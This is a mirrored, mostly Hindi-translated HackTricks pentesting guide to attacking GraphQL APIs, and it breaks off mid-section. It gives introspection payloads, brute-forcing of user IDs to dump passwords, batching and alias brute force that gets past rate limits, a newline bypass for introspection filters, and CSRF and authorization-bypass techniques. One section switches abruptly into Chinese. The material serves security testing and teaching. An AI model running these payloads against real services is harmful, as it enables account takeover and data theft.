mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
657 lines
69 KiB
Markdown
657 lines
69 KiB
Markdown
# GraphQL
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Introduction
|
||
|
||
GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST की तुलना में, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
|
||
|
||
## GraphQL और सुरक्षा
|
||
|
||
नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि **GraphQL डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं करता है**। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।
|
||
|
||
### डायरेक्टरी ब्रूट फोर्स हमले और GraphQL
|
||
|
||
खुले GraphQL उदाहरणों की पहचान करने के लिए, डायरेक्टरी ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं:
|
||
|
||
- `/graphql`
|
||
- `/graphiql`
|
||
- `/graphql.php`
|
||
- `/graphql/console`
|
||
- `/api`
|
||
- `/api/graphql`
|
||
- `/graphql/api`
|
||
- `/graphql/graphql`
|
||
|
||
खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इस प्रक्रिया को सरल बनाती है, जो एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि पर देखें: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
||
|
||
### फिंगरप्रिंट
|
||
|
||
उपकरण [**graphw00f**](https://github.com/dolevf/graphw00f) यह पहचानने में सक्षम है कि किसी सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है और फिर सुरक्षा ऑडिटर के लिए कुछ सहायक जानकारी प्रिंट करता है।
|
||
|
||
#### यूनिवर्सल क्वेरीज़ <a href="#universal-queries" id="universal-queries"></a>
|
||
|
||
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी की गई वस्तु के प्रकार को प्रकट करती है।
|
||
```javascript
|
||
query{__typename}
|
||
```
|
||
### Basic Enumeration
|
||
|
||
Graphql आमतौर पर **GET**, **POST** (x-www-form-urlencoded) और **POST**(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके।
|
||
|
||
#### Introspection
|
||
|
||
Schema जानकारी खोजने के लिए introspection का उपयोग करने के लिए, `__schema` फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।
|
||
```bash
|
||
query={__schema{types{name,fields{name}}}}
|
||
```
|
||
इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग में हैं:
|
||
|
||
.png>)
|
||
```bash
|
||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
||
```
|
||
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
|
||
|
||
.png>)
|
||
|
||
**त्रुटियाँ**
|
||
|
||
यह जानना दिलचस्प है कि क्या **त्रुटियाँ** **दिखाई** जाएँगी क्योंकि वे उपयोगी **जानकारी** में योगदान करेंगी।
|
||
```
|
||
?query={__schema}
|
||
?query={}
|
||
?query={thisdefinitelydoesnotexist}
|
||
```
|
||
.png>)
|
||
|
||
**इंट्रोस्पेक्शन के माध्यम से डेटाबेस स्कीमा की गणना करें**
|
||
|
||
> [!TIP]
|
||
> यदि इंट्रोस्पेक्शन सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से `onOperation`, `onFragment`, और `onField` निर्देशों को हटाने का प्रयास करें।
|
||
```bash
|
||
#Full introspection query
|
||
|
||
query IntrospectionQuery {
|
||
__schema {
|
||
queryType {
|
||
name
|
||
}
|
||
mutationType {
|
||
name
|
||
}
|
||
subscriptionType {
|
||
name
|
||
}
|
||
types {
|
||
...FullType
|
||
}
|
||
directives {
|
||
name
|
||
description
|
||
args {
|
||
...InputValue
|
||
}
|
||
onOperation #Often needs to be deleted to run query
|
||
onFragment #Often needs to be deleted to run query
|
||
onField #Often needs to be deleted to run query
|
||
}
|
||
}
|
||
}
|
||
|
||
fragment FullType on __Type {
|
||
kind
|
||
name
|
||
description
|
||
fields(includeDeprecated: true) {
|
||
name
|
||
description
|
||
args {
|
||
...InputValue
|
||
}
|
||
type {
|
||
...TypeRef
|
||
}
|
||
isDeprecated
|
||
deprecationReason
|
||
}
|
||
inputFields {
|
||
...InputValue
|
||
}
|
||
interfaces {
|
||
...TypeRef
|
||
}
|
||
enumValues(includeDeprecated: true) {
|
||
name
|
||
description
|
||
isDeprecated
|
||
deprecationReason
|
||
}
|
||
possibleTypes {
|
||
...TypeRef
|
||
}
|
||
}
|
||
|
||
fragment InputValue on __InputValue {
|
||
name
|
||
description
|
||
type {
|
||
...TypeRef
|
||
}
|
||
defaultValue
|
||
}
|
||
|
||
fragment TypeRef on __Type {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
इनलाइन इंट्रोस्पेक्शन क्वेरी:
|
||
```
|
||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||
```
|
||
अंतिम कोड पंक्ति एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट के नाम, पैरामीटर, प्रकार...) को डंप करेगी।
|
||
|
||
.png>)
|
||
|
||
यदि इंट्रोस्पेक्शन सक्षम है, तो आप [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) का उपयोग करके GUI में सभी विकल्प देख सकते हैं।
|
||
|
||
### क्वेरी करना
|
||
|
||
अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए **कुछ मान निकालने** की कोशिश करते हैं।
|
||
|
||
इंट्रोस्पेक्शन में आप यह पता कर सकते हैं कि **आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं** (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा जाता है और "_Query_" ऑब्जेक्ट के फ़ील्ड में से एक "_flags_" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।
|
||
|
||

|
||
|
||
ध्यान दें कि क्वेरी का प्रकार "_flags_" "_Flags_" है, और इस ऑब्जेक्ट को नीचे परिभाषित किया गया है:
|
||
|
||
.png>)
|
||
|
||
आप देख सकते हैं कि "_Flags_" ऑब्जेक्ट **name** और **value** से मिलकर बने हैं। फिर आप क्वेरी के साथ फ्लैग के सभी नाम और मान प्राप्त कर सकते हैं:
|
||
```javascript
|
||
query={flags{name, value}}
|
||
```
|
||
ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राइमिटिव** **टाइप** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है
|
||
|
||
.png>)
|
||
|
||
आप इसे बस इस तरह क्वेरी कर सकते हैं:
|
||
```javascript
|
||
query = { hiddenFlags }
|
||
```
|
||
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\
|
||
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
|
||
|
||
.png>)
|
||
|
||
हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह **त्रुटि** मिलती है:
|
||
|
||
.png>)
|
||
|
||
ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा, जो _**Int**_ प्रकार का है।\
|
||
खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||
|
||
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।
|
||
|
||
तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\
|
||
`query={user(uid:1){user,password}}`
|
||
|
||
.png>)
|
||
|
||
ध्यान दें कि मैंने **खोजा** कि मैं **पैरामीटर** "_**user**_" और "_**password**_" के लिए पूछ सकता हूँ क्योंकि यदि मैं कुछ ऐसा देखने की कोशिश करता हूँ जो मौजूद नहीं है (`query={user(uid:1){noExists}}`) तो मुझे यह त्रुटि मिलती है:
|
||
|
||
.png>)
|
||
|
||
और **enumeration phase** के दौरान मैंने खोजा कि "_**dbuser**_" ऑब्जेक्ट के पास "_**user**_" और "_**password**_" के रूप में फ़ील्ड थे।
|
||
|
||
**Query string dump trick (धन्यवाद @BinaryShadow\_)**
|
||
|
||
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए खोज करते हैं तो यह **सभी डेटा डंप करेगा**। (_इस उदाहरण को ट्यूटोरियल के उदाहरण से संबंधित नहीं माना जाता है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को "**description**" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं_)।
|
||
|
||
### खोज
|
||
|
||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
|
||
|
||
आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
|
||
```javascript
|
||
{
|
||
searchPerson(name: "John Doe") {
|
||
email
|
||
}
|
||
}
|
||
```
|
||
आप व्यक्तियों को **नाम** द्वारा **खोज** सकते हैं और उनके **सदस्यता** प्राप्त **फिल्में** प्राप्त कर सकते हैं:
|
||
```javascript
|
||
{
|
||
searchPerson(name: "John Doe") {
|
||
email
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
ध्यान दें कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए कैसे संकेत दिया गया है।
|
||
|
||
आप **एक साथ कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
|
||
```javascript
|
||
{
|
||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||
name
|
||
}
|
||
}r
|
||
```
|
||
या यहां तक कि **विभिन्न वस्तुओं के कई संबंधों का उपयोग करते हुए उपनाम**:
|
||
```javascript
|
||
{
|
||
johnsMovieList: searchPerson(name: "John Doe") {
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
davidsMovieList: searchPerson(name: "David Smith") {
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### Mutations
|
||
|
||
**म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।**
|
||
|
||
**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित छवि में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"):
|
||
|
||
.png>)
|
||
|
||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** से पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** से। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी स्वामित्व रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है।
|
||
|
||
डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है):
|
||
```javascript
|
||
mutation {
|
||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||
movies {
|
||
name
|
||
rating
|
||
}
|
||
}
|
||
}
|
||
```
|
||
**नोट करें कि कैसे दोनों मान और डेटा के प्रकार को क्वेरी में दर्शाया गया है।**
|
||
|
||
इसके अतिरिक्त, डेटाबेस एक **mutation** ऑपरेशन का समर्थन करता है, जिसका नाम `addPerson` है, जो **persons** के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा **friends** और **movies** के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों का डेटाबेस में पहले से होना आवश्यक है, इससे पहले कि उन्हें नए बनाए गए व्यक्ति से जोड़ा जाए।
|
||
```javascript
|
||
mutation {
|
||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||
person {
|
||
name
|
||
email
|
||
friends {
|
||
edges {
|
||
node {
|
||
name
|
||
email
|
||
}
|
||
}
|
||
}
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
rating
|
||
releaseYear
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### Directive Overloading
|
||
|
||
जैसा कि [**इस रिपोर्ट में वर्णित एक कमजोरियों में**](https://www.landh.tech/blog/20240304-google-hack-50000/) में समझाया गया है, एक directive overloading का मतलब है कि एक directive को लाखों बार कॉल करना ताकि सर्वर ऑपरेशनों को बर्बाद करे जब तक कि इसे DoS करना संभव न हो।
|
||
|
||
### Batching brute-force in 1 API request
|
||
|
||
यह जानकारी [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) से ली गई थी।\
|
||
GraphQL API के माध्यम से **विभिन्न क्रेडेंशियल्स के साथ कई क्वेरीज़ को एक साथ भेजकर** प्रमाणीकरण करना। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब HTTP अनुरोध प्रति एक से अधिक लॉगिन/पासवर्ड जोड़ी भेजना संभव है क्योंकि GraphQL बैचिंग सुविधा है। यह दृष्टिकोण बाहरी दर निगरानी अनुप्रयोगों को यह सोचने के लिए धोखा देगा कि सब कुछ ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड अनुमान लगाने की कोशिश नहीं कर रहा है।
|
||
|
||
नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, जिसमें **एक समय में 3 विभिन्न ईमेल/पासवर्ड जोड़ी** हैं। स्पष्ट रूप से, एक ही अनुरोध में हजारों भेजना संभव है:
|
||
|
||
.png>)
|
||
|
||
जैसा कि हम प्रतिक्रिया स्क्रीनशॉट से देख सकते हैं, पहले और तीसरे अनुरोध ने _null_ लौटाया और _error_ अनुभाग में संबंधित जानकारी को दर्शाया। **दूसरी म्यूटेशन में सही प्रमाणीकरण** डेटा था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन है।
|
||
|
||
 (1).png>)
|
||
|
||
## GraphQL Without Introspection
|
||
|
||
越来越多的 **graphql 端点正在禁用 introspection**。然而,当收到意外请求时,graphql 抛出的错误足以让像 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) 这样的工具重建大部分架构。
|
||
|
||
此外,Burp Suite 扩展 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 扩展 **观察通过 Burp 的 GraphQL API 请求** 并 **构建** 一个内部 GraphQL **架构**,每当它看到新的查询时。它还可以为 GraphiQL 和 Voyager 暴露架构。当它收到 introspection 查询时,扩展返回一个假响应。因此,GraphQuail 显示所有可用于 API 的查询、参数和字段。有关更多信息 [**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||
|
||
一个不错的 **wordlist** 来发现 [**GraphQL 实体可以在这里找到**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||
|
||
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||
|
||
API 中对 introspection 查询的限制可以通过在 `__schema` 关键字后插入 **特殊字符** 来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注 `__schema` 关键字来阻止 introspection。通过添加 GraphQL 忽略但可能未在正则表达式中考虑的字符,如 **空格、换行符和逗号**,可以绕过限制。例如,带有换行符的 introspection 查询可能会绕过此类防御:
|
||
```bash
|
||
# Example with newline to bypass
|
||
{
|
||
"query": "query{__schema
|
||
{queryType{name}}}"
|
||
}
|
||
```
|
||
यदि असफल रहें, तो वैकल्पिक अनुरोध विधियों पर विचार करें, जैसे **GET अनुरोध** या **POST `x-www-form-urlencoded` के साथ**, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं।
|
||
|
||
### वेबसॉकेट्स का प्रयास करें
|
||
|
||
जैसा कि [**इस वार्ता**](https://www.youtube.com/watch?v=tIo_t5uUK50) में उल्लेख किया गया है, जांचें कि क्या WebSockets के माध्यम से graphQL से कनेक्ट करना संभव हो सकता है क्योंकि यह आपको संभावित WAF को बायपास करने की अनुमति दे सकता है और वेबसॉकेट संचार को graphQL के स्कीमा को लीक करने की अनुमति दे सकता है:
|
||
```javascript
|
||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
|
||
ws.onopen = function start(event) {
|
||
var GQL_CALL = {
|
||
extensions: {},
|
||
query: `
|
||
{
|
||
__schema {
|
||
_types {
|
||
name
|
||
}
|
||
}
|
||
}`,
|
||
}
|
||
|
||
var graphqlMsg = {
|
||
type: "GQL.START",
|
||
id: "1",
|
||
payload: GQL_CALL,
|
||
}
|
||
ws.send(JSON.stringify(graphqlMsg))
|
||
}
|
||
```
|
||
### **खुली GraphQL संरचनाओं का पता लगाना**
|
||
|
||
जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड क्वेरीज़ के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। ये क्वेरीज़ डेवलपर टूल्स में `Sources` टैब का उपयोग करके पाई जा सकती हैं, जो API के स्कीमा के बारे में जानकारी प्रदान करती हैं और संभावित रूप से **खुली संवेदनशील क्वेरीज़** को उजागर करती हैं। डेवलपर टूल्स में खोजने के लिए कमांड हैं:
|
||
```javascript
|
||
Inspect/Sources/"Search all files"
|
||
file:* mutation
|
||
file:* query
|
||
```
|
||
## CSRF in GraphQL
|
||
|
||
यदि आप नहीं जानते कि CSRF क्या है, तो निम्नलिखित पृष्ठ पढ़ें:
|
||
|
||
{{#ref}}
|
||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||
{{#endref}}
|
||
|
||
वहाँ आप कई GraphQL एंडपॉइंट्स पाएंगे **जो CSRF टोकन के बिना कॉन्फ़िगर किए गए हैं।**
|
||
|
||
ध्यान दें कि GraphQL अनुरोध आमतौर पर POST अनुरोधों के माध्यम से भेजे जाते हैं, जिसमें Content-Type **`application/json`** होता है।
|
||
```javascript
|
||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||
```
|
||
हालांकि, अधिकांश GraphQL एंडपॉइंट भी **`form-urlencoded` POST अनुरोधों** का समर्थन करते हैं:
|
||
```javascript
|
||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||
```
|
||
इसलिए, जैसे कि पिछले CSRF अनुरोध **बिना प्रीफ्लाइट अनुरोधों** के भेजे जाते हैं, यह संभव है कि **परिवर्तन** **किए जाएं** GraphQL में CSRF का दुरुपयोग करके।
|
||
|
||
हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी।
|
||
|
||
ध्यान दें कि आमतौर पर **क्वेरी** **अनुरोध** को **GET** **अनुरोध** के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
|
||
|
||
इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/index.html) **हमले** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।
|
||
|
||
अधिक जानकारी के लिए **यहां मूल पोस्ट देखें** [**यहां**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
|
||
|
||
## GraphQL में क्रॉस-साइट वेबसॉकेट हाईजैकिंग
|
||
|
||
GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **क्रॉस-साइट वेबसॉकेट हाईजैकिंग** करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
|
||
|
||
अधिक जानकारी के लिए देखें:
|
||
|
||
{{#ref}}
|
||
../../pentesting-web/websocket-attacks.md
|
||
{{#endref}}
|
||
|
||
## GraphQL में प्राधिकरण
|
||
|
||
एंडपॉइंट पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता के प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।
|
||
|
||
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [लीक](https://hackerone.com/reports/792927) हो सकते हैं।
|
||
|
||
म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।
|
||
```javascript
|
||
{
|
||
"operationName":"updateProfile",
|
||
"variables":{"username":INJECT,"data":INJECT},
|
||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||
}
|
||
```
|
||
### GraphQL में प्राधिकरण को बायपास करना
|
||
|
||
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) एक कमजोर प्रमाणीकरण प्रणाली को बायपास कर सकता है।
|
||
|
||
नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसे केवल इसके साथ जुड़े forgotPassword क्वेरी को निष्पादित करना चाहिए। इसे अंत में एक क्वेरी जोड़कर बायपास किया जा सकता है, इस मामले में हम "register" और एक उपयोगकर्ता चर जोड़ते हैं ताकि प्रणाली एक नए उपयोगकर्ता के रूप में पंजीकरण कर सके।
|
||
|
||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||
|
||
## GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना
|
||
|
||
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
|
||
|
||
GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)।
|
||
|
||
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सुरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
|
||
|
||
